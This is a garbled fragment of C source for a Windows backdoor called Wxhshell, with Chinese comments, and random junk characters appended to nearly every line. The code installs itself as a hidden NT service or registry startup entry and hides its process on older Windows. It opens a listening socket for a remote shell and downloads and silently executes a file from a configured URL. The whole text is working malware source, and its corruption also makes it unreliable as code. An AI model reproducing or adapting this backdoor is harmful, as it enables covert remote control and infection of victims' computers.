DWORD PebBaseAddress; }ni@]k#q<
DWORD AffinityMask; HjZf3VwI
DWORD BasePriority; j<}y( ~
ULONG UniqueProcessId; 8?h&FbmB
ULONG InheritedFromUniqueProcessId; TmEh$M
} PROCESS_BASIC_INFORMATION; 7x.]
9J
$LOf2 kn
PROCNTQSIP NtQueryInformationProcess; g|5cO3m0'
'%*/iH6<U{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /~P4<1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Q4Wr0y><]
f!J?n]
HANDLE hProcess; 6<No_x |_
PROCESS_BASIC_INFORMATION pbi; 5E}!TL$
6yXN7L==x
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ##'uekSJ
if(NULL == hInst ) return 0; J/\^3rCB
,AG k4]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !jRs5{n^Ol
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xvxj-\ -
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `$yi18F
*ch7z|wo.
if (!NtQueryInformationProcess) return 0; G@rV9
fT5vO.a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .cs4AWml<
if(!hProcess) return 0; vUB*Qm]Y\
u\u6<[>P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @-XMox/
z
9~|Su
CloseHandle(hProcess); Y
9@
2d
;2'/rEq4o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q6eD{/4a1
if(hProcess==NULL) return 0; ;;mr?'R
+7j7zpw
HMODULE hMod; WTwura,
char procName[255]; M^0^l9w
unsigned long cbNeeded; e]D TK*W~
~2O1$o u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m*` W&k[
'v%v*Ujf[
CloseHandle(hProcess); ]~\%ANoi
ef:YYt{|q
if(strstr(procName,"services")) return 1; // 以服务启动 B4w/cIj_
L+.-aB2!d
return 0; // 注册表启动 ~--F?KUnL
} 'v_k#%
DxxY<OkN
// 主模块 M~5Ja0N~
int StartWxhshell(LPSTR lpCmdLine) &o7"L;
{ X"S")BQ
q
SOCKET wsl; t?h\Af4Tf
BOOL val=TRUE; bjql<x5d
int port=0; Og2G0sWRf
struct sockaddr_in door; }nMp.7b
j9*5Kj
if(wscfg.ws_autoins) Install(); t ]P^6jw'
e?fA3Fug
port=atoi(lpCmdLine); D()tP
!0Eo9bU%@
if(port<=0) port=wscfg.ws_port; (gb
vInZ
W!)B%.Q
WSADATA data; tWA<OOl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (`&E^t
WJii0+8e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }=s64O9j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \)2~oN
door.sin_family = AF_INET; lj@ibA]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kw5`KfG9
door.sin_port = htons(port); Dj'+,{7,u
5wa!pR\c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H+ 7Fw'u
closesocket(wsl); @^,9O92l
return 1; jGtu>|Gj
} MmD1@fW32#
zS! +2/(
if(listen(wsl,2) == INVALID_SOCKET) { zj7?2
closesocket(wsl); (RI+4V1
return 1; A (ZtA[G
} ;oVFcZSA
Wxhshell(wsl); #>O+!IH
WSACleanup(); :$N{NChx
yu$xQ~ o
return 0; m&+V@H
P5oYv
} ?pkGejcQ
-~&T0dt~
// 以NT服务方式启动 KdLj1T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UI74RP
{ -H"^;37T"
DWORD status = 0; ^2"3h$DJfS
DWORD specificError = 0xfffffff; "]x#kM
]I(<hDuRp
serviceStatus.dwServiceType = SERVICE_WIN32; aU%QJ#j
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,`ju(ac!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zc5>)v LH=
serviceStatus.dwWin32ExitCode = 0; %KW NY(m
serviceStatus.dwServiceSpecificExitCode = 0; ONm-zRx|
serviceStatus.dwCheckPoint = 0; 6U%F
mE @
serviceStatus.dwWaitHint = 0; +lw*/\7
ETrL3W<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GUUd(xS{
if (hServiceStatusHandle==0) return; ]TSzT"_r~~
#P;vc{ Iq
status = GetLastError(); )X'ln
if (status!=NO_ERROR) <E\vc6n
{ yrFl,/8&G
serviceStatus.dwCurrentState = SERVICE_STOPPED; q;9OqArq
serviceStatus.dwCheckPoint = 0; &6\f;T4
serviceStatus.dwWaitHint = 0; ?5rM'O2
serviceStatus.dwWin32ExitCode = status; TQ25"bWi
serviceStatus.dwServiceSpecificExitCode = specificError; 0EBHRY_F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;BW9SqlN
return; xv0y?#`z
} zI.:1(,
=iE)vY,?"}
serviceStatus.dwCurrentState = SERVICE_RUNNING; Gw?ueui<
serviceStatus.dwCheckPoint = 0; -[xbGSj{
serviceStatus.dwWaitHint = 0; /gq\.+'{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "hLmwz|a
} ~otV'= /my
`2@f=$B
// 处理NT服务事件,比如:启动、停止 0"DS>:Ntk
VOID WINAPI NTServiceHandler(DWORD fdwControl) YAYwrKt
{
c->?'h23)
switch(fdwControl) -\V;Gw8mD
{ Zxn>]Z_
case SERVICE_CONTROL_STOP: 7nk3^$|
serviceStatus.dwWin32ExitCode = 0; j:xm>X'
serviceStatus.dwCurrentState = SERVICE_STOPPED; uF<\|y rFt
serviceStatus.dwCheckPoint = 0; \_AoG8B
serviceStatus.dwWaitHint = 0; DUyUA'*4n|
{ n[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >o!5)\F
} CzG/=#IU
return; !s47A"O&B
case SERVICE_CONTROL_PAUSE: 6yhRcvJ}
serviceStatus.dwCurrentState = SERVICE_PAUSED; `{'h+v`
break; Zr$D\(hX
case SERVICE_CONTROL_CONTINUE: 06>+loBG
serviceStatus.dwCurrentState = SERVICE_RUNNING; PvVn}i
break; #gRtCoew
case SERVICE_CONTROL_INTERROGATE: .MW/XnCYs4
break; s|-g)
}; 1owe'7\J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ct386j><
} 884 -\M"h
ms/Q-
// 标准应用程序主函数 %^(} fu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
>^Y)@J
{ h#]LXs
\\$wg
// 获取操作系统版本 0t.v
OsIsNt=GetOsVer(); JVh/<A
GetModuleFileName(NULL,ExeFile,MAX_PATH); !=(M P:
.
/~#
// 从命令行安装 qaEWK0
if(strpbrk(lpCmdLine,"iI")) Install(); js)I%Z
{z7kW@c
// 下载执行文件 a'B 5m]%
if(wscfg.ws_downexe) { \zV'YeG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I_On0@%T5b
WinExec(wscfg.ws_filenam,SW_HIDE); bh UghHT
} ;#S4$wISw`
!E9A=u{
if(!OsIsNt) { LGPg\g`
// 如果时win9x,隐藏进程并且设置为注册表启动 1eMaKT_=
HideProc(); !k=~a]
StartWxhshell(lpCmdLine); -ZBSkyMGy
} W Z^u%Z
else +3k#M[Bn}
if(StartFromService()) f%c-
// 以服务方式启动 "Sd2VSLg
StartServiceCtrlDispatcher(DispatchTable); A?Gk8
else S")*~)N@
// 普通方式启动 YveNsn
StartWxhshell(lpCmdLine); 'cvc\=p
|n\(I$
return 0; psB9~EU&Q
}